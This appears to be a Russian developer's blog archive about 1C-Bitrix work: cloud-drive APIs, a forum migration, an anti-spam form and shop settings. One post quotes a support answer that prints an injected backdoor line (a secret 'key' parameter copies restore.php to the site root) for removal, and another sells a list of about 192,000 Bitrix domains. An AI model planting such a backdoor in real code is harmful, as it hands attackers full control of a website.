.
6 Декабрь 2018

Простая работа с API Яндекс Диска на PHP

Собственно, продолжение предыдущей моей статейки ОЧЕНЬ НЕ ПРОСТАЯ РАБОТА С GOOGLE DRIVE API.

Как обычно — сначала загуглил материал в сетке, нашел на snipp.ru замечательную статейку Использование API Яндекс Диска на PHP.

К работе на стороне Яши я уже был подготовлен т.к. реализация так же была через QAuth токен, НО в Яндексе всё было для меня гораздо проще, интуитивно понятней и практичней!!!

И самое приятное — в статье рассматриваются примеры работы с REST API напрямую с помощью CURL-а! без всяких навороченных библиотек (хотя они конечно же есть, например готовый PHP SDK – https://github.com/jack-theripper/yandex).

Первое, что я сделал — запросил список файлов корня и … УРА! получил ни больше, ни меньше — именно то, что лежало на Я.Диске! (в отличие от Гугла)
Собственно, и дальше всё пошло без каких то «фокусов» — все запросы отрабатывали именно так как нужно.
Соединив это дело с Битриксом я всё таки реализовал ТЗ!
Так что, если будет что подобное — сразу реализуйте на Яндекс.Диске 🙂

рубрики: Bitrix | Комментарии (0)

6 Декабрь 2018

Очень НЕ простая работа с Google Drive API

Озадачили меня недавно довольно интересной задачей — синхронизация файлов (в моём случае изображений) с Гугл Диска на сайт под управлением 1С-Битрикс.
Хотелка такая — кидаем в определённую папку на диске изображение — скрипт его обнаруживает и создаёт элемент на сайте с детальным изображением из этой картинки.
Папки с изображениями на сайте — на Гугл Диске тоже самое…

Задача вроде ясна, дело казалось бы за малым — найти PHP API для Google Drive и сляпать скриптик делающий слепок того, что есть и сравнивающий при запуске то, что имеем в текущий момент.
Если есть новое файло — качаем, создаём элемент и вуаля…

Сразу нашел хорошую статейку-мануал Простая работа с Google Drive API в которой получают список файлов на диске (основной момент для моей реализации) и с хорошим настроением начал продвигаться вглубь…

Скачал с Гитхаба уже готовую библиотеку Google API Client Library for PHP, собственно установил её с помощью composer, параллельно включив необходимые php модули … в общем всё по-настоящему!

Далее под своей учёткой в гугл консоли создал QAuth токен (тоже не тривиальная процедура я Вам скажу — ещё и Гугл довольно долго тупил — после подтверждения сайта, никак в окне QAuth в Авторизованные домены не хотел добавляться — наверное час тупил 🙁

В общем всё шло довольно ровно … до тех пор пока я не начал работать непосредственно с файловой структурой Гугл Диска!!!
Это жесть! В статейке, указанной мной в начале поста я довольно много комментировал т.к. довольно много не понимал.
И скажу я Вам — так и не понял 🙁
Даже на тестовом драйве где у меня было всего ничего файлов — Гугл упорно мне отдавал то, чего у меня и в помине не было … но были в «доступные мне» файлы.
При работе с драйвом заказчика вообще тушите свет — вместо менее тысячи файлов, мне было отдано наверное тысяч 20… и то с очень большим «скрипом» т.к. при получении данных очень часто библиотека вылетала в ошибку… Как «взять» только моё я так и не понял. Причём один и тот же файл легко встречался по несколько раз с разными «предками»… мраки …

После ряда экспериментов я решил попробовать Яндекс диск для реалзиации той же задачи … и больше я к Гуглу не возвращался! В общем одно слово — неруси!

рубрики: Bitrix | Комментарии (0)

7 Ноябрь 2018

Дёшево продам базу сайтов 1С Битрикс — 192 тысячи доменов

Продам базу сайтов на CMS Битрикс — почти 192 тысячи доменов.
Цена 700 рублей
Актуальность базы — октябрь 2018г.
Точнее перепродам с целью отбить вложения и если нужна база посвежее или нужны базы на других CMS — источник в предыдущем посте.
База качественная, проверил все домены которые знал с 1С Битрикс — они в базе присутствуют.

Цитата автора:

Я не собираю сайты из поисковых систем, а ежемесячно сканирую списки доменов, полученные от регистраторов напрямую из 1755 доменных зон включая популярные зоны ccTLD. И Вам не нужно ждать по полгода следующего обновления.
Не верьте тем, кто пишет, что они прочекали 310 млн или более.
За 8 лет работы с базами доменов я могу смело заверить, что такого количества ЖИВЫХ доменов просто не существует, если они, конечно, не чекают проэкспайреные))
Купив базу сайтов на 1C-Bitrix, Вы можете быть уверены, что получаете актуальный и максимально полный список всех существующих доменов на данной CMS!

Количество доменов по доменным зонам (с количеством более 50)

All 1C-Bitrix.txt: 191854
===============================================
ru 124288 02-10-2018
xn--p1ai 31828 02-10-2018
com 12017 02-10-2018
su 4386 02-10-2018
ua 3100 02-10-2018
by 2727 02-10-2018
pro 1642 02-10-2018
kz 1641 02-10-2018
net 1226 02-10-2018
org 1064 02-10-2018
info 906 02-10-2018
biz 412 02-10-2018
online 304 02-10-2018
moscow 294 02-10-2018
xn--p1acf 263 02-10-2018
club 214 02-10-2018
shop 211 02-10-2018
xn--80adxhks 196 02-10-2018
de 191 02-10-2018
me 190 02-10-2018
eu 176 02-10-2018
site 162 02-10-2018
space 146 02-10-2018
uz 138 02-10-2018
tv 116 02-10-2018
store 107 02-10-2018
market 105 02-10-2018
cz 104 02-10-2018
center 95 02-10-2018
tj 93 02-10-2018
group 82 02-10-2018
xn--80asehdb 79 02-10-2018
uk 75 02-10-2018
nl 73 02-10-2018
vn 72 02-10-2018
lv 69 02-10-2018
top 62 02-10-2018
lt 61 02-10-2018
website 56 02-10-2018
one 55 02-10-2018
es 54 02-10-2018
expert 53 02-10-2018
life 51 02-10-2018
travel 50 02-10-2018
agency 50 02-10-2018

рубрики: Bitrix | Комментарии (0)

31 Октябрь 2018

Вирусы и трояны на Битрикс сайте

Всем привет!

Уже на третьем сайте под управлением CMS Битрикс (разные лицензии) обнаруживаю одни и те-же бэкдоры и трояны, причём непосредственно в файлах движка Битрикса!
Инструмент монитор качества «Ядро проекта не модифицировалось» такие файлы не ловит т.к. это не модифицированные, а просто левые файлы.
Но вот почему модификацию /bitrix/modules/main/include.php не находит — уже вопрос
Вообще файлик этот довольно мутный — в нём присутствует обфуцированный код, причём легальный — от конторы 1С Битрикс. (что и раздражает — вирусу легко можно спрятаться под этот код)

На крайнем проекте уже не выдержал и написал в саппорт вопрос о технологии поиска лишних файлов, на что получил не совсем то, что хотел, но думаю для поиска таких типичных вирусов это неплохая инструкция (вообще думаю в движке была дырка, которая не афишируется, через которую и произошла иньекция — т.к. сайты абсолютно разные, а вирусятина одна и та же!)

ЦИТАТА
Добрый день!

Да, это вирус.

Вам необходимо:
1. Сделать полную резервную копию сайта.
2. Удалить restore.php из корня сайта.
3. Удалить посторонний скрипт /bitrix/js/main/core/core_loader.js
4. Отредактировать /bitrix/modules/main/include.php, удалив из него строчки:

require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/gadgets/bitrix/weather/lang/ru/exec/include.php");

if($_REQUEST["key"]!=""){if($_REQUEST["key"]=="a".md5("B_PROLOG_INCLUDED")."e"){$resu1t=copy($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/admin/restore.php",$_SERVER["DOCUMENT_ROOT"]."/restore.php");if($resu1t){die("ok");}else{die("fail");}}};

5. Удалить /bitrix/gadgets/bitrix/weather/lang/ru/exec/include.php и /bitrix/tools/check_files.php

если открывается http:// сайт /?utm_term=version — ваш сайт взломан с полным управлением у злоумышленника!
если открывается http:// сайт /bitrix/js/main/core/core_loader.js — ваш сайт взломан с полным управлением у злоумышленника!
если в корне лежит restore.php (а его там раньше не было) — тоже самое!

Заражение в действии — злоумышленник получает полный файловый доступ к сайту!

Вот такая приколюха!

рубрики: Bitrix, security, взлом и безопасность | Комментарии (0)

1 Октябрь 2018

Cannot use output buffering in output buffering display handlers in /bitrix/modules/main/lib/data/cache.php

Ни с того, ни с сего — начал падать сайт под управлением движка 1С Битрикс.
Никто ничего с сайтом не делает — сам валится и всё тут.
В логах веб сервера множество таких записей
«Cannot use output buffering in output buffering display handlers in /bitrix/modules/main/lib/data/cache.php»
Довольно много гуглил и пробовал — ничего не помогло, методом научного тыка вычислил, что проблема очень подозрительном файле ядра
/bitrix/modules/main/include.php
подозрительность в том, что 1. код частично закодирован! 2. файл самостоятельно обновляется!
я его с ядра другого сайта перезаписал — ошибка ушла, но через некоторое время он обновился до той же длинны, что и была — и бай бай сайту — снова так же ошибка с кэшем

Предположу, что там какой то код на счёт валидности лицензии и там то и разработчики что-то накосячили (скорее всего в эхо ушел какой то невидимый символ типа переноса строки)
Отправил запрос в саппорт — жду ответ!

рубрики: Bitrix | Комментарии (0)

12 Сентябрь 2018

Быстрая анти спам защита формы обратной связи Битрикс main.feedback

Спам в форме обратной связи Битрикса main.feedback ЗАДОЛБАЛ реально!

Собственно, презентую моё бесплатное решение, внедряемое за 5 минут:
Идея — проверка на вхождение в сообщение «http» «href» и дополнительное поле — результат суммы прописью

1. Копируем стандартный компонент main.feedback из папки ./bitrix/components/bitrix/ в свою ./bitrix/components/gtalex/
2. Заменяем подключение данного компонента на свой bitrix:main.feedback на gtalex:main.feedback
3. В форму добавляем (в массиве в цифрах прописью в каждой цифре один символ английский — чтоб было труднее спарсить) (скобки >< заменил на [])

$numbers = array(«нoль», «oдин», «двa», «mри», «чеmыре», «пяmь»);
$one = $numbers[rand(0,5)];
$two = $numbers[rand(0,5)];

[strong][?=$one?] плюс [?=$two?] = (запишите цифру ответа прописью с маленькой буквы)
[input type=’text’ name=’GT_SUM’ value=’[br/]


4. В компоненте ./bitrix/components/gtalex/component.php перед строкой

if(empty($arParams["REQUIRED_FIELDS"]) || !in_array("NONE", $arParams["REQUIRED_FIELDS"]))

добавляем обработку введённых данных

...
if(($_POST["GT_SUM"]==NULL)or($_POST["GT_SUM"]=="")) {
$arResult["ERROR_MESSAGE"][] = "Введите решение примера";
}
if(in_array($_POST["GT_SUM"],$summ)) {
} else {
$arResult["ERROR_MESSAGE"][] = "Неверное решение примера! Введите правильное.";
}
if(strpos($_POST["MESSAGE"], "href")===false) {
} else {
$arResult["ERROR_MESSAGE"][] = "Гиперссылки в сообщении запрещены";
}
if(strpos($_POST["MESSAGE"], "http")===false) {
} else {
$arResult["ERROR_MESSAGE"][] = "Гиперссылки в сообщении запрещены";
}
...

рубрики: Bitrix, Полезности, Программирование | Комментарии (0)

2 Июль 2018

Конвертация форума с платформы 1С-Битрикс на wpForo

Печально констатировать но факт — 1С Битрикс с момента запуска модуля Форум для своего движка, на сегодняшний день практически остановился в развитии 🙁
Любой современный форумный движек легко обходит Битрикс по своим возможностям, а так же быстроте работы — оно и понятно, форумный движек встроен модулем в авианосец под названием Битрикс.
Полное нежелание усовершенствовать модуль компанией лично мне вообще непонятно.
На сайте в разделе форум idea.1c-bitrix.ru для разработчиков сгенерировали огромное количество пожеланий, которые и в данный момент остаются не реализованными.
Например, вот моё пожелание с 2014 ого года Открытие темы форума с первого непрочитанного сообщения так до сих пор остаётся не реализованным 🙁

Ладно, вернёмся к сабжу — лет 5 назад я конвертировал форум с phpbb на 1С Битрикс — и вот сейчас тот же клиент обратился ко мне с обратной просьбой — перенести форум с движка 1С Битрикс на форум wpForo (плагин к WordPress).

Поставленную задачу я реализовал следующим образом:
1. Этап — выгрузка форума (пользовательские данные, форумы, топики, сообщения) в файлы в формат Mysql dump с помощью Bitrix API (CUser::GetList, CForumNew::GetList, CForumTopic::GetList, CForumMessage::GetList) и вложенные файлы в формат хранения wpForo
/wp-content/uploads/wpforo/attachments/$UID/ ($UID — айди пользователя), так же на лету для картинок в папку /wp-content/uploads/wpforo/attachments/$UID/thumbnail/ создавал превью изображения с помощью CFile::ResizeImageFile
Из подводных камней на данном этапе отмечу невозможность с помощью Bitrix API получать файловые вложения к сообщению, которые просто прикреплены, но не вставлены в тело сообщения.


решение такое - сначала регуляркой вытащил те вложения, что в теле сообщения
preg_match_all('!\[FILE ID\=(\d+)(.*?)\]!', $arMessage["POST_MESSAGE"], $match)
айдишники упадут в массив $match[1]
потом прямым запросом получаем ВСЕ вложения в массив $arAttachments
$strSql = "SELECT * FROM b_forum_file WHERE MESSAGE_ID=".$arMessage["ID"];
$res = $DB->Query($strSql);
if($ar = $res->GetNext()) {
$arAttachments[] = $ar[FILE_ID];
...
}
дальше думаю понятно :)

далее копируем папку с вложениями и превью картинками в Вордпресс и загружаем сгенерированные скриптом sql дапмы с данными форума, после чего в админке wpForo удаляем все данные кэша и вуаля!

3. Делаем 301й редирект со старых адресов на новые — в данном случае ЧПУ осталось тем же, поэтому достаточно просто убрать .php (только для форума)

# BEGIN Forum 301 redirect

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/forum/
RewriteRule (.*)\.php$ $1 [R=301,L]

# END Forum 301 redirect

PS
Так же обратите внимание на поля, отвечающие за «открытость» форумов
UPDATE `p_wpforo_topics` SET closed = 0;
UPDATE `p_wpforo_posts` SET is_answer = 0;
UPDATE `p_wpforo_posts` SET private = 0, status = 0;

Так же после загрузки нужно обратить внимание на иерархию и сортировку самих форумов — у меня они не отображались, пока я их не запихал 2м уровнем в группу «все форумы»

рубрики: Bitrix, Программирование | Комментарии (0)

5 Октябрь 2017

Интернет магазин Битрикс — скидки от суммы покупки, настраиваем корзину

Продолжаем разбор вопросов, которые мне задают заказчики только что получившие в своё распоряжение интернет магазин на платформе 1С Битрикс редакция «Малый Бизнес» и выше.
Цитата из письма:
«Леш еще по скидкам, обдумала этот момент, решили остановиться пока на рознице, с оптом притормозить, и прописать скидки: от 1000 руб-5%, 3000-10% , 5000-15%. Если расскажешь как их прописать,я тебя уже с ними не буду доставать»
Причём где именно управлять скидками корзины я показывал, но всё таки лучше один раз увидеть, чем 100 раз услышать, поэтому видос в студию 🙂




рубрики: Bitrix | Комментарии (0)

5 Октябрь 2017

Интернет магазин Битрикс — нет цены товара, нет в наличии

Как оказалось практически у всех заказчиков, которые решили создать свой интернет магазин на движке 1С Битрикс в начале работы встают одни и те же вопросы — один из них

Почему товара нет в наличии?

нет в наличии

Ответ прост — потому что в карточке товара — в разделе «Торговый каталог» не стоит количество (в случае с простым товаром)
Читать полностью »

рубрики: Bitrix | Комментарии (0)

31 Июль 2017

Доработака сайта Битрикс к ФЗ-152 защита персональных данных

После выхода нашумевшего ФЗ-152 о Защите персональных данных практически всем моим клиентам потребовалось допились функционал всех форм — добавить галочку о защите персональных данных и соответствующие странички на сайт.
Поначалу допиливал кастомизацией соответствующих компонентов и созданием страниц руками, но сегодня один хороший мой клиент подкинул готовое решение (правда платное).
Работает на удивление просто — везде перед сабмитов добавляется необходимое поле, странички создаются по шаблону.
Поставил — вроде пашет, будем тестировать.
Единственный момент — в шаблоне у меня поле сайт бралось с переменной $_SERVER[HTTP_HOST] с 80м портом — пришлось чуток допилить, чтобы выкинуть порт.

рубрики: Bitrix, Полезности | Комментарии (0)

Яндекс.Метрика